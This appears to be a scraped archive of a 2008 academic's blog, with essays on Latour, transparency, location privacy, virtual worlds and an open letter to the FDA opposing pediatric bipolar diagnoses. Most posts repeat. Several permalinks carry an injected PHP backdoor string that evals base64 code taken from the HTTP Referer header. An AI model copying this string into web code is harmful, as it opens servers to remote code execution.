Looks like environmental labelling, one of the ideas I discussed, is actually starting to happen in the UK:
What is your dinner doing to the climate?
Synchronously, this week I am reading an excellent treatment of the rise of transparency as a form of (meta)-regulation for my seminar on Transparency and Democracy
Democracy by Disclosure: The Rise of Technopopulism
Now I finally have the theoretical apparatus to completely obfuscate my ideas ;-)
BTW - Happy Software Freedom Day!
http://alchemicalmusings.org/2008/09/21/free-energy-redux/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
No, this post isn't about the LHC creating black holes, time machines, or perpetual motion - its an update on my ~2 year old post on Free Energy - where I reflected on what the environmental movement might learn from the free software movement...
Looks like environmental labelling, one of the ideas I discussed, is actually starting to happen in the UK:
What is your dinner doing to the climate?
Synchronously, this week I am reading an excellent treatment of the rise of transparency as a form of (meta)-regulation for my seminar on Transparency and Democracy
Democracy by Disclosure: The Rise of Technopopulism
Now I finally have the theoretical apparatus to completely obfuscate my ideas ;-)
BTW - Happy Software Freedom Day!
http://alchemicalmusings.org/2008/09/21/free-energy-redux/
To: Sandy Walsh <sandy.walsh@fda.hhs.gov>
Cc: World
Subject: Establishing the Validity of Pediatric Bipolar Disorder
Dear Miss Walsh,
I am a professional educator, software architect, and a doctoral candidate at Columbia University's School of Journalism. I am outraged that the FDA is abusing its power and violating the public trust by supporting the corporate interests of the pharmaceutical lobby. The drug companies are shamefully maneuvering to expand the market for the multi-billion dollar a year anti-psychotic industry by extending the diagnostic criteria of the purported mental illnesses their toxic pills are prescribed to treat.
The FDA has recently taken the unprecedented action of effectively legislating the existence of a disease, a disease whose existence is denied by many experts on both mind and body. The diagnosis of Pediatric Bipolar Disorder does not exist in the DSM IV, is not recognized by public or private insurance companies, and is the subject of intense debate between psychiatrists, psychologists, social workers, and therapists. When did the FDA become authorized to construct/validate new diagnoses or decide who is mentally ill?
I have been closely following the heated controversy surrounding the diagnosis of Bipolar Disorder in children since the tragic death of Rebecca Riley. Rebecca was diagnosed with Bipolar disorder at 2 years old, and was killed when she was 4 by an overdose of anti-psychotics. This past year, Frontline aired The Medicated Child, a provocative investigation of the widespread experiment being conducted on the innocent children of America. I beg you to watch this documentary before making any more decisions about the existence of this alleged disorder. The piece demonstrates how our children are being chemically swaddled, and how these drugs are being systematically deployed as instruments of discipline and control.
The public has a right to full disclosure on this important matter of public health! I am shocked that you have still not issued a statement explaining your position on Pediatric Bipolar Disorder - What behavioural symptoms constitute this alleged disease, and how were these criteria arrived at? What is the progression of this illness and what are the mechanisms are involved in its treatment? Who was consulted in the validation of this disease, and have their research findings been vetted by a disinterested scientific community?
The FDA's complicit involvement in a mass experiment on an entire generation of American children demands transparent accounting. It is absolutely imperative that the FDA shine some light on its backroom dealings with the Big Pharma.
Sincerely,
Jonah Bossewitch
http://alchemicalmusings.org/2008/09/11/open-letter-to-the-fda/
This summer I was part of an amazing reading group where we slowed to a crawl and closely read Bruno Latour's Politics of Nature. When I say we read the book, I mean we literally went around the table and read the book out loud, stopping to discuss difficult passages until we were confident we understood them.
I haven't taken to the time to read a book this closely in ages, and the experience reinforced the age old addage about finding the universe in a grain of sand. Reading a book that deals with such deep eternal themes, written by a brilliant theoretician who has himself synthesized and integrated an incredible amount of history, philosophy, and literature, was like glimpsing the entire cannon through Latour's eyes, and well worth the effort.
In this work, Latour performs a root canal on a form of conceptual dualism that has haunted Western thought for millennium. The book revolves around a perplexing circumstance in world we have constructed for ourselves - How did we end up in a world where one set of propositions (usually known as facts) are authoritative, unassailable, and incontrovertible and another set of propositions (usually known as values) are the kinds things we are allowed to argue about?
Apart from the challenge of figuring out which of these flawed categories a particular proposition belongs to, the artificial separation between the tasks of constructing the common world and constructing the common good shuts down all possibility of discourse - before we even get a chance to try to arrive at consensus! The institutionalization of facts and values are so inextricably intertwined that it is folly to erect barriers between these two enterprises.
Latour illustrates his perspective with examples from controversies in the sciences (especially Environmentalism and Political Ecology), but it is trivial to transpose his argument to the great debates between objectivity and subjectivity in Journalism, and the ways that certain kinds of propositions ('data' in many conversations about technology, and 'revelation' in conversations about religion) are invoked as trump cards to shut down all debate. Medical "science", especially psychiatry and brain science are horrendous perpetrators of these offenses right now, and the consequences are anything but theoretical. The Onion provides my favorite example illustrating the confusion between facts and values.
Latour's proposed strategy for re-imagining the mexican standoff between nature/culture, science/democracy, facts/values, objectivity/subjectivity, necessity/freedom, etc is to re-tie a metaphysical Gordian knot as an epistemological one. He would like us to consider an dynamically expanding collective of players/concepts, composed of humans and non-humans (the non-humans have spokespeople, whose assertions are speech acts - qualified by the same kinds of language we use to indicate our confidence in any speech act).
Revisiting and reinterpreting Plato's metaphor of Cave, Latour traces the West's tendency to cleanly divide smooth facts from messy values to the flawed idea of aspiring to leave the Cave to grasp/glimpse/experience the Truth. Even if this were attainable, the sojourners would still need to return back into the cave, to mediate and relate their experience to those still trapped within. Instead of aspiring to leave the cave, we need to transcend the entire Cave system.
It isn't completely fair to criticize a book for what it's missing (no single book can be all things), but it would be great to expand this line of analysis in the future and elaborate on the role of mediation in the current and imagined collective. It seems pretty clear to me that for Latour, the 'Sciences' encompass the entire enterprise of Science, including the scientists, the funders, the corporations, the educators, and the scientific journalists. But, there is little in the book that unpacks these relations.
A broader criticism sets an argument that John Durham Peter's advanced in Speaking into the Air, against Latour's conception of the Collective. Peter's argues that we often view communication as salvation, when in fact alot of discourse never leads to consensus, and there are perspectives that are mutually incommensurate and irreconcilable. I may be naive to think the Collective that Latour dreams of is a realistic aspiration, though I sure would love to live to participate in it.
I also want to explore the connections between this work and the Death of Environmentalism essay I encountered last year. I think Shellenberger and Nordhaus' argument is a vivid and direct application of the theory Latour argues in The Politics of Nature.
Ulises Mejias' work on Networked Proximity is another work which might be fascinating to juxtapose with the dynamically expanding collective (which, can be thought about as a network). Ulises' notions of the para-nodal might be crucial to consider when the collective invokes the power to take things into account.
http://alchemicalmusings.org/2008/08/30/bruno-vs-the-cavemen/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
This summer, Bruno Latour was our tour guide - leading the way, not out of The Cave, but beyond the entire Cave System. Along the journey I also learned about a very interesting pedagogical technique intended to take engineering students on a similar journey.
Students at Sciences-Politique and Ecole des Mines in Paris, as well as at MIT in Boston are learning to map techno-scientific controversies according to a method which embodies Actor-Network-Theory (without all of the heavy theoretical jargon). Past projects can be found at the Mapping Controversies web site, and Bruno Latour himself explains the project and its aspirations in this video.
Many of the possibilities explored in these new media projects are related to a broader question I have been interested lately concerning the impact that technology is having on epistemology itself. How is technology and new media changing what is knowable and how we go about knowing? I wrote an essay last Spring, The Bionic Social Scientist: Human Sciences and Emerging Ways of Knowing, which begins to explore these questions, and it is wonderful to see more examples of these ideas materializing around us.
The Mapping Controversies pedagogy involves teams of students taking on the role of statistician, investigative journalist, scientist, and webmaster, working to research and represent a controversy. They discover (and depict) that concepts themselves vary depending upon who is speaking about them, and attempt to map these relations and progressions over time.
I can imagine this technique displacing the traditional 5 'W's of journalism - The venerable Who, What, When, Where, & Why needs to b upgraded to a multi-dimensional, post-modern, reality. What varies and depends upon who, where, and when, and without the kinds of research and representations that the Mapping Controversies project is pioneering, we will never adequately capture the multiplicities of whys. I don't know if these kinds of representations are intermediate forms of research, or if one day they will be part of the final production delivered as news to readers, but it is an important question to begin to grapple with.
Right now, the Mapping Controversies sites are somewhat anti-social - they are fixed, one-way communications, but from the introductory video, they hope to change this soon. At the moment, each map is also a unique work of art. While it is premature to confine anyone yet to the paradigmatic blinders of conformity, I also think it is imperative for us to begin to imagine and develop a visual vocabulary that we can re/use when representing these kinds of relations.
In the field of information visualization, researchers are beginning to catalog Information Design Patterns that maps like this could build upon. Of course, riffs and variations from these patterns are welcome, where significant and meaningful, but a common starting point will improve the communicativity of these maps. As these patterns solidify, the corresponding implementation patterns can grow along with these efforts, as tools like Ben Fry's Processing Framework (recently ported from java to javascript, which is much more web friendly, and used extensively in the MOMA's Design and the Elastic Mind exhibit), will begin to institutionalize the knowledge learned in constructing these maps.
And, of course, all of the code and content used to create these projects should be free and open, so the world can learn and improve on their foundations.
http://alchemicalmusings.org/2008/08/30/lost-in-controversy/
This summer I was part of an amazing reading group where we slowed to a crawl and closely read Bruno Latour's Politics of Nature. When I say we read the book, I mean we literally went around the table and read the book out loud, stopping to discuss difficult passages until we were confident we understood them.
I haven't taken to the time to read a book this closely in ages, and the experience reinforced the age old addage about finding the universe in a grain of sand. Reading a book that deals with such deep eternal themes, written by a brilliant theoretician who has himself synthesized and integrated an incredible amount of history, philosophy, and literature, was like glimpsing the entire cannon through Latour's eyes, and well worth the effort.
In this work, Latour performs a root canal on a form of conceptual dualism that has haunted Western thought for millennium. The book revolves around a perplexing circumstance in world we have constructed for ourselves - How did we end up in a world where one set of propositions (usually known as facts) are authoritative, unassailable, and incontrovertible and another set of propositions (usually known as values) are the kinds things we are allowed to argue about?
Apart from the challenge of figuring out which of these flawed categories a particular proposition belongs to, the artificial separation between the tasks of constructing the common world and constructing the common good shuts down all possibility of discourse - before we even get a chance to try to arrive at consensus! The institutionalization of facts and values are so inextricably intertwined that it is folly to erect barriers between these two enterprises.
Latour illustrates his perspective with examples from controversies in the sciences (especially Environmentalism and Political Ecology), but it is trivial to transpose his argument to the great debates between objectivity and subjectivity in Journalism, and the ways that certain kinds of propositions ('data' in many conversations about technology, and 'revelation' in conversations about religion) are invoked as trump cards to shut down all debate. Medical "science", especially psychiatry and brain science are horrendous perpetrators of these offenses right now, and the consequences are anything but theoretical. The Onion provides my favorite example illustrating the confusion between facts and values.
Latour's proposed strategy for re-imagining the mexican standoff between nature/culture, science/democracy, facts/values, objectivity/subjectivity, necessity/freedom, etc is to re-tie a metaphysical Gordian knot as an epistemological one. He would like us to consider an dynamically expanding collective of players/concepts, composed of humans and non-humans (the non-humans have spokespeople, whose assertions are speech acts - qualified by the same kinds of language we use to indicate our confidence in any speech act).
Revisiting and reinterpreting Plato's metaphor of Cave, Latour traces the West's tendency to cleanly divide smooth facts from messy values to the flawed idea of aspiring to leave the Cave to grasp/glimpse/experience the Truth. Even if this were attainable, the sojourners would still need to return back into the cave, to mediate and relate their experience to those still trapped within. Instead of aspiring to leave the cave, we need to transcend the entire Cave system.
It isn't completely fair to criticize a book for what it's missing (no single book can be all things), but it would be great to expand this line of analysis in the future and elaborate on the role of mediation in the current and imagined collective. It seems pretty clear to me that for Latour, the 'Sciences' encompass the entire enterprise of Science, including the scientists, the funders, the corporations, the educators, and the scientific journalists. But, there is little in the book that unpacks these relations.
A broader criticism sets an argument that John Durham Peter's advanced in Speaking into the Air, against Latour's conception of the Collective. Peter's argues that we often view communication as salvation, when in fact alot of discourse never leads to consensus, and there are perspectives that are mutually incommensurate and irreconcilable. I may be naive to think the Collective that Latour dreams of is a realistic aspiration, though I sure would love to live to participate in it.
I also want to explore the connections between this work and the Death of Environmentalism essay I encountered last year. I think Shellenberger and Nordhaus' argument is a vivid and direct application of the theory Latour argues in The Politics of Nature.
Ulises Mejias' work on Networked Proximity is another work which might be fascinating to juxtapose with the dynamically expanding collective (which, can be thought about as a network). Ulises' notions of the para-nodal might be crucial to consider when the collective invokes the power to take things into account.
http://alchemicalmusings.org/2008/08/30/bruno-vs-the-cavemen/
A few weeks back I attended a symposium (The Focus on Locus) at the Columbia Business school on the coming tusnami of location based services. For some reason I mistakenly believed the day might include discussions and demonstrations of visualizations and mapping UIs, but it was actually more about the other end of the equation - how every device on the planet will soon be aware of its own location, and the sorts of privacy, policy, and commercial implications of this emerging reality.
Henning Schulzrinne, the chair of the CS dept kicked of the day from 1000m up by pointing out that, nowadays, just about every device on the planet knows what time it is (non-trivial when you consider the standards, protocols, and apis that needed to be resolved for this to happen so smoothly everywhere), and reminded us that less than 10 years ago you still needed to set the time on your cell phone. Knowing the time has become completely transparent on many electronic and networked devices, and has become part of the fabric of the digital age. We search for emails, pictures, documents and more based on timestamps - they are so common it is even hard to imagine computing without them.
Extrapolate a few years out, and the dimensional quartet of space-time will be reunited once more. Everything will know where it is, and not just geo coordinates - devices will know the street block they are on, the room they occupy in relation to floor plans, etc etc. Henning is even working on the standards and protocols to facilitate this ubiquity. Once you say this out load it becomes obvious - many of the systems that we use to figure out where we are rely on knowing when you are to do so. This dates back to the solution to the Royal Academy's Longitude X-Prize, all the way up to the triangulation used by modern GPS.
Location based services have also finally creeped out the 99% of the people who don't seem to grok the privacy issues posed by the tracks our digital footprints leave behind. Perhaps its more visceral, immediate, and concrete, but people are buggin. In a very surreal moment, I realized that many of the privacy concerns raised at the Columbia Business School symposium were very similar to the privacy conversations happening at the hacker conference (the Last HOPE) I attended the week afterwards. (yeah yeah - the groups are both stereotypically libertarian, but would you have predicted the similarity?)
Refreshingly, some of the models and thought experiments I have been developing in relation to my End of Forgetting work held up really well throughout both conferences. The information flux model remains relatively unique, and continues to suggest alternate ways of retying the gordian knot of that is strapping us to the petabyte age.
It's always fun attending a meeting like this and trying to maintian a critical perspective - paying attention to the omissions, the assumptions, and even the construction of the instruments (like the standards which might be used to indicate the privacy levels of data). Speak now or forever hold your place.
http://alchemicalmusings.org/2008/08/04/location-location-location-and-timing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
A few weeks back I attended a symposium (The Focus on Locus) at the Columbia Business school on the coming tusnami of location based services. For some reason I mistakenly believed the day might include discussions and demonstrations of visualizations and mapping UIs, but it was actually more about the other end of the equation - how every device on the planet will soon be aware of its own location, and the sorts of privacy, policy, and commercial implications of this emerging reality.
Henning Schulzrinne, the chair of the CS dept kicked of the day from 1000m up by pointing out that, nowadays, just about every device on the planet knows what time it is (non-trivial when you consider the standards, protocols, and apis that needed to be resolved for this to happen so smoothly everywhere), and reminded us that less than 10 years ago you still needed to set the time on your cell phone. Knowing the time has become completely transparent on many electronic and networked devices, and has become part of the fabric of the digital age. We search for emails, pictures, documents and more based on timestamps - they are so common it is even hard to imagine computing without them.
Extrapolate a few years out, and the dimensional quartet of space-time will be reunited once more. Everything will know where it is, and not just geo coordinates - devices will know the street block they are on, the room they occupy in relation to floor plans, etc etc. Henning is even working on the standards and protocols to facilitate this ubiquity. Once you say this out load it becomes obvious - many of the systems that we use to figure out where we are rely on knowing when you are to do so. This dates back to the solution to the Royal Academy's Longitude X-Prize, all the way up to the triangulation used by modern GPS.
Location based services have also finally creeped out the 99% of the people who don't seem to grok the privacy issues posed by the tracks our digital footprints leave behind. Perhaps its more visceral, immediate, and concrete, but people are buggin. In a very surreal moment, I realized that many of the privacy concerns raised at the Columbia Business School symposium were very similar to the privacy conversations happening at the hacker conference (the Last HOPE) I attended the week afterwards. (yeah yeah - the groups are both stereotypically libertarian, but would you have predicted the similarity?)
Refreshingly, some of the models and thought experiments I have been developing in relation to my End of Forgetting work held up really well throughout both conferences. The information flux model remains relatively unique, and continues to suggest alternate ways of retying the gordian knot of that is strapping us to the petabyte age.
It's always fun attending a meeting like this and trying to maintian a critical perspective - paying attention to the omissions, the assumptions, and even the construction of the instruments (like the standards which might be used to indicate the privacy levels of data). Speak now or forever hold your place.
http://alchemicalmusings.org/2008/08/04/location-location-location-and-timing/
I've got a wonderful summer backlog of posts piling up, but I really want to try to keep these posts short(er) and sweet, so I'll try to compose staccato.
My explorations into virtual worlds have taken a turn for the surreal lately, as I have made a few new close friends who have been graciously teaching me how they play. I feel like I might be coming ridiculously late to the conversation (I don't often play video games), but my experiences have given me new pause about the raging debate over the potential influence of sex and violence in games/media on people (not just youth).
I have learned first-hand how Second Life encourages people to articulate their fantasies in intricate detail - trying on new fashions, tattoos, piercings, behaviours, and lifestyles. From a few conversations, I am also pretty sure that much of this identity-play sometimes sticks, and often crosses back over into real life.
The whole process is spookily reminiscent of the "manifesting principle," described in magickal/mystical systems like Chaos Magick (e.g. Carol's Liber Kaos) and even Kabballah (The Three Abrahamic Covenants and The Car Passing Trick):
Know what you want. Clearly and precisely understand what you want by doing the intellectual work needed to really know what you want and how much it costs (or how impossible it is.)
Sacrifice your(ego)self to the task. Put your heart and soul into your endeavour. Do real work in the physical world towards your goal. Care deeply about the work you are doing. Work (and pray) well beyond your normal point of giving up. Do the work and show your caring anyway, even if it seems that [God] is not listening.
Return your personal will to [God]. Give up, be infinitely patient, and pay attention.
The manifesting principle only works when a person has made a real sacrifice and has continued to work even while they have let go of their expectations of the outcome they desire. When a person short-circuits the full process, nothing happens. When there has been no sacrifice, there is nothing for [God] to respond to. (Stan Tenen, The Purpose of Prayer).
So, while Halo or even Grand Theft Auto might not cross some yet unknown threshold, I am mildly concerned about the World of Warcraft players. Sure, many of them are just playing, but some might be inflicting real emotional harm on other real people. Something to ponder.
I haven't really worked this out in detail yet, but I also wonder if Geertz's notion of "deep play" (introduced in Deep Play: Notes on a Balinese Cock Fight) might be useful and relevant here. The deep play he describes shares many characteristics with these mystical formulas and the magical substrate that Second Life has clearly become for some people. Something the Stanford lab is trying to systematically measure and observe, though I don't think they have floating this particular hypothesis yet ;-)
In many ways my conversations and immersion in the wonderful Play as Being project and community have helped me think about these relationships (especially 'letting go', the final step in manifesting), but I will save some of the direct connections for a future post.
http://alchemicalmusings.org/2008/08/03/passing-virtual-cars/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
I've got a wonderful summer backlog of posts piling up, but I really want to try to keep these posts short(er) and sweet, so I'll try to compose staccato.
My explorations into virtual worlds have taken a turn for the surreal lately, as I have made a few new close friends who have been graciously teaching me how they play. I feel like I might be coming ridiculously late to the conversation (I don't often play video games), but my experiences have given me new pause about the raging debate over the potential influence of sex and violence in games/media on people (not just youth).
I have learned first-hand how Second Life encourages people to articulate their fantasies in intricate detail - trying on new fashions, tattoos, piercings, behaviours, and lifestyles. From a few conversations, I am also pretty sure that much of this identity-play sometimes sticks, and often crosses back over into real life.
The whole process is spookily reminiscent of the "manifesting principle," described in magickal/mystical systems like Chaos Magick (e.g. Carol's Liber Kaos) and even Kabballah (The Three Abrahamic Covenants and The Car Passing Trick):
Know what you want. Clearly and precisely understand what you want by doing the intellectual work needed to really know what you want and how much it costs (or how impossible it is.)
Sacrifice your(ego)self to the task. Put your heart and soul into your endeavour. Do real work in the physical world towards your goal. Care deeply about the work you are doing. Work (and pray) well beyond your normal point of giving up. Do the work and show your caring anyway, even if it seems that [God] is not listening.
Return your personal will to [God]. Give up, be infinitely patient, and pay attention.
The manifesting principle only works when a person has made a real sacrifice and has continued to work even while they have let go of their expectations of the outcome they desire. When a person short-circuits the full process, nothing happens. When there has been no sacrifice, there is nothing for [God] to respond to. (Stan Tenen, The Purpose of Prayer).
So, while Halo or even Grand Theft Auto might not cross some yet unknown threshold, I am mildly concerned about the World of Warcraft players. Sure, many of them are just playing, but some might be inflicting real emotional harm on other real people. Something to ponder.
I haven't really worked this out in detail yet, but I also wonder if Geertz's notion of "deep play" (introduced in Deep Play: Notes on a Balinese Cock Fight) might be useful and relevant here. The deep play he describes shares many characteristics with these mystical formulas and the magical substrate that Second Life has clearly become for some people. Something the Stanford lab is trying to systematically measure and observe, though I don't think they have floating this particular hypothesis yet ;-)
In many ways my conversations and immersion in the wonderful Play as Being project and community have helped me think about these relationships (especially 'letting go', the final step in manifesting), but I will save some of the direct connections for a future post.
http://alchemicalmusings.org/2008/08/03/passing-virtual-cars/
Have I ever mentioned how cool these newfangled series of tubes are sometimes?
I just found out that an essay of mine was translated into Italian, which is now the second essay I have written to be translated into a language I don't even speak. Appropriately, a major theme of the essay was the economics of peer production, and the professor I wrote it for was actually from Italy, so perhaps it resonated strongly with the Italians.
The first was translated into Greek, which is beginning to make me wonder if it might be time for a nice trip out to the Mediterranean.
If any of my friends speak Greek or Italian, I would love to hear how these translations turned out ;-)
Costruire la libertà: gli sviluppatori di software libero tra lavoro e gioco (Fabricating Freedom: Free Software Developers at Work and Play)
Η εκστρατεία ZyprexaKills: Ομότιμη παραγωγή και τα όρια της ριζοσπαστικής παιδαγωγικής (The ZyprexaKills Campaign: Peer Production and the Frontiers of Radical Pedagogy)
Libre Lungamente in Tensione!
http://alchemicalmusings.org/2008/07/21/speaking-in-tongues/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Chris Anderson, the editor-in-chief of Wired published a provocative essay last week that really caught me off-guard:
The End of Theory: The Data Deluge Makes the Scientific Method Obsolete
I have been writing lately about the effects that technology is having on epistemology, namely, what is knowable and how we go about knowing.
But, I've arrived at very different conclusions than Anderson. I think that our methods for gathering evidence to support a hypothesis is changing - radically - but I certainly do not think that the scientific method (or attitude or stance, as Piet Hut sometimes puts it) is obsolete. Evolving, for sure, but I hope not in the direction that Anderson claims. Intriguingly, Kevin Kelly - who originally launched Wired, wrote an essay on the future of science that I think is much more thoughtful and prescient.
A cursory examination of the comments posted on his essay make me wonder if he hasn't floated a straw man argument, just to be provocative. But after a few conversations with friends and colleges this week, I believe there is something important and scary in his perspective.
My thinking here is greatly informed by a book I am reading this summer by Bruno Latour - The Politics of Nature. In this book, Latour struggles to reconcile the perennial tensions between nature and democracy, science and politics, facts and values, and ultimately, objectivity and subjectivity. He critiques the veneration of facts as the penultimate authority - reminding us to always consider who gathered those facts and why. His argument is far more nuanced and complex, but I really see its re-enactment in the veneration of data Anderson naively concedes.
We must acknowledge that data itself is nothing more than a mediation with reality - and we shouldn't confuse data with reality itself. There are many good rebuttals appearing in the comments, but none that I have read point out that Anderson's characterization denies the politics of instrumentation and data collection - the concepts and constructs that underlie the data, never mind the importance of stories and explanations in our politics and justifications.
This understanding is basic to the psychology of perception as well as the philosophy of science - there is no observation without pre-existing concepts and constructs - the buckets of data we are collecting (and, at least for now, some data is not being collected) are being stored according to organizational schemes - schemes created by humans.
Data isn't sacred, and its folly to regard it as such. We need our models and the explicit self-awareness that we created them within a particular historical context and theoretical paradigm.
In the wise words of my mentor/advisor, Frank Moretti:
The problem with statistical analysis in the hands of many is that they expect the statiistics to yeild the truth and this leads into the mistake “reporting their findings” in a theory-deprived context. Whenever you are dealing with the human sciences, whether the information is statistical, visual or otherwise, you still have to build a meaningful narrative that requires that you have a point of view that has either overt or covert theoretical assumptions. Without that you are in danger of reporting your views in what Marcuse calls opreational language, a language derived from the tools of discovery rather a serious point of view.
http://alchemicalmusings.org/2008/06/30/the-end-of-digirati-philosophizing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Last week I went back to 'ol Nassau and attended the annual New Media Consortium conference, held this year at my alma mater.
The conference was very engaging, especially since I don't think I have ever attended an event geared specifically towards the kind of work we do at CCNMTL. Typically, whether its developer, librarian, technorati, activist, or academically oriented, our work shares aspects with other attendees, but usually not a similar overarching mission. I was reminded how special our organization's niche is - we should take pride in our projects and values. I also gained a better understanding of how privileged our situation is.
While no two university's I have ever encountered share the same organizational structure, many now support groups whose primary mission is helping the faculty use new media & technology purposefully. I was astounded at the constraints, and corresponding resourcefulness, these groups exhibit. Most of them have a much smaller staff than ours, and very few actually develop custom software. A Wordpress or Mediawiki plugin is about as complicated as many of them can attempt. And yet, they forge ahead, scraping together whatever tools they can wrap their minds around - and in the era of mashups, the possibilities are growing daily.
It is interesting to contrast this resourcefulness with corporate, and even non-profit, technical efforts I have been involved with. Many of these groups have gourmet taste in technology, and initiatives are often paralyzed until the right tools are developed. The educators show how far a healthy culture of use can go in trumping system constraints.
Overall, many groups are still working with the faculty to get beyond the allure of the media, and demand a greater educational return than "mere" excitement and motivation. Critical engagement must go beyond supplemental materials, as it is decidely difficult to follow through on the promise of a demonstrated educational value. There were many projects that clearly helped the students feel good about their learning, but it is incredibly hard to design a curriculum where these new media objects become a central component in a student's analysis. In our work we try, and occasionally succeed, to help push the faculty to design assignments where the new media elements are an integral part of the critical analysis - where the learners deeply engage with the media, and bring these elements into play as evidence in support of an argument.
These aspirations place the bar quite high, and often require faculty to develop an radically new teaching style. Additionally, none of us learned this way, though we all seem to be convinced these new styles are superior to the ways we were taught. Consequently, there is a great deal of experimentation and research involved in educational technology. It was really great having these kinds of conversations all weekend long - sharing and exchanging perspectives with the others grappling with similar concerns.
Some of the highlights I learned about included:
Sun's Wonderland Virtual World - a free-software, enterprise/education-ready virtual world environment, with more of a professional emphasis than Second Life. Of Sun's 34k employees, 50% or more work remotely or from home on any given day, so collaboration tools are very important for them. The environment supports authentication, allows for any X window to be shared w/in the world, and even has telephony bridging, so users without a client can call in.
Emerson's NEA funded Digital Lyceum Project where New Media scholars Eric Gordon, John Freeman, and Aubree Lawrence are investigating the orchestration of attention during a live event. Research like this could help the backchannel transition from distracting to essential - its fun to imagine being able to cite or reference the flurry of associations, chats, and google jockeying that flow by in the stream of consciousness that live events have become.
The John Lennon Educational Tour Bus - Wow. Imagine this media studio on wheels pulling up to your school when you were a kid. Three hipster musician/media-mavens tour the country on this bus, sponsored and outfitted by the likes of Apple and Sony - they are rock stars without the responsibility of performing. Students on the bus come aboard without any specific skills, and leave with something they made that day. The bus sports two fully outfitted media workstations, instruments, and even a green room. Buses like this represent an incredible amount of potential, helping students understand they can produce as easily as consume.
I hope in the years to come the bus incorporates a few more Media Fluency lessons (think: MacArthur's Digital Learning Initiative, John Broughton's Pop Resources and David Buckingham's Journal of Learning and Media) at touchstone moments ("Ah! so all media produced incorporates the producers perspective"), a few more lessons on the ethics of sharing ("Hey, how do I share my media with the world, and let others remix it?"), and offer concrete strategies for continuity after the bus pulls away ("I get it - all media is produced on magic buses")...
Many NMC'ers have drank deeply at the fountain of Second Life kool-aid, and I glimpsed more variations on the educational potential of Virtual Worlds. I didn't hear too many people riffing on the centrality of realistic memories the environment offers, so this is an idea I certainly need to develop further. I am immensely grateful to the Play As Being community for introducing me to these experiences in a very meaningful context.
Finally, I spent lots of time reminiscing about my undergraduate years. My colleges and I cracked secret codes, narrowly averted an attack by a giant tiger, revisited the Princeton Record Exchange (where I spent $20 and came home w/ 6 cds), and lamented the campus' new density - a building has sprung up in almost every open space I remember.
Phew.
http://alchemicalmusings.org/2008/06/19/tigers-and-teachers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Last week I went back to 'ol Nassau and attended the annual New Media Consortium conference, held this year at my alma mater.
The conference was very engaging, especially since I don't think I have ever attended an event geared specifically towards the kind of work we do at CCNMTL. Typically, whether its developer, librarian, technorati, activist, or academically oriented, our work shares aspects with other attendees, but usually not a similar overarching mission. I was reminded how special our organization's niche is - we should take pride in our projects and values. I also gained a better understanding of how privileged our situation is.
While no two university's I have ever encountered share the same organizational structure, many now support groups whose primary mission is helping the faculty use new media & technology purposefully. I was astounded at the constraints, and corresponding resourcefulness, these groups exhibit. Most of them have a much smaller staff than ours, and very few actually develop custom software. A Wordpress or Mediawiki plugin is about as complicated as many of them can attempt. And yet, they forge ahead, scraping together whatever tools they can wrap their minds around - and in the era of mashups, the possibilities are growing daily.
It is interesting to contrast this resourcefulness with corporate, and even non-profit, technical efforts I have been involved with. Many of these groups have gourmet taste in technology, and initiatives are often paralyzed until the right tools are developed. The educators show how far a healthy culture of use can go in trumping system constraints.
Overall, many groups are still working with the faculty to get beyond the allure of the media, and demand a greater educational return than "mere" excitement and motivation. Critical engagement must go beyond supplemental materials, as it is decidely difficult to follow through on the promise of a demonstrated educational value. There were many projects that clearly helped the students feel good about their learning, but it is incredibly hard to design a curriculum where these new media objects become a central component in a student's analysis. In our work we try, and occasionally succeed, to help push the faculty to design assignments where the new media elements are an integral part of the critical analysis - where the learners deeply engage with the media, and bring these elements into play as evidence in support of an argument.
These aspirations place the bar quite high, and often require faculty to develop an radically new teaching style. Additionally, none of us learned this way, though we all seem to be convinced these new styles are superior to the ways we were taught. Consequently, there is a great deal of experimentation and research involved in educational technology. It was really great having these kinds of conversations all weekend long - sharing and exchanging perspectives with the others grappling with similar concerns.
Some of the highlights I learned about included:
Sun's Wonderland Virtual World - a free-software, enterprise/education-ready virtual world environment, with more of a professional emphasis than Second Life. Of Sun's 34k employees, 50% or more work remotely or from home on any given day, so collaboration tools are very important for them. The environment supports authentication, allows for any X window to be shared w/in the world, and even has telephony bridging, so users without a client can call in.
Emerson's NEA funded Digital Lyceum Project where New Media scholars Eric Gordon, John Freeman, and Aubree Lawrence are investigating the orchestration of attention during a live event. Research like this could help the backchannel transition from distracting to essential - its fun to imagine being able to cite or reference the flurry of associations, chats, and google jockeying that flow by in the stream of consciousness that live events have become.
The John Lennon Educational Tour Bus - Wow. Imagine this media studio on wheels pulling up to your school when you were a kid. Three hipster musician/media-mavens tour the country on this bus, sponsored and outfitted by the likes of Apple and Sony - they are rock stars without the responsibility of performing. Students on the bus come aboard without any specific skills, and leave with something they made that day. The bus sports two fully outfitted media workstations, instruments, and even a green room. Buses like this represent an incredible amount of potential, helping students understand they can produce as easily as consume.
I hope in the years to come the bus incorporates a few more Media Fluency lessons (think: MacArthur's Digital Learning Initiative, John Broughton's Pop Resources and David Buckingham's Journal of Learning and Media) at touchstone moments ("Ah! so all media produced incorporates the producers perspective"), a few more lessons on the ethics of sharing ("Hey, how do I share my media with the world, and let others remix it?"), and offer concrete strategies for continuity after the bus pulls away ("I get it - all media is produced on magic buses")...
Many NMC'ers have drank deeply at the fountain of Second Life kool-aid, and I glimpsed more variations on the educational potential of Virtual Worlds. I didn't hear too many people riffing on the centrality of realistic memories the environment offers, so this is an idea I certainly need to develop further. I am immensely grateful to the Play As Being community for introducing me to these experiences in a very meaningful context.
Finally, I spent lots of time reminiscing about my undergraduate years. My colleges and I cracked secret codes, narrowly averted an attack by a giant tiger, revisited the Princeton Record Exchange (where I spent $20 and came home w/ 6 cds), and lamented the campus' new density - a building has sprung up in almost every open space I remember.
Phew.
http://alchemicalmusings.org/2008/06/19/tigers-and-teachers/
Last week I paid tribute to Albert Hoffman at an event hosted by Reality Sandwich. I have been following the site for a while, and really enjoyed the screenings and the conversation (led by John Perry Barlow and Daniel Pinchbeck).
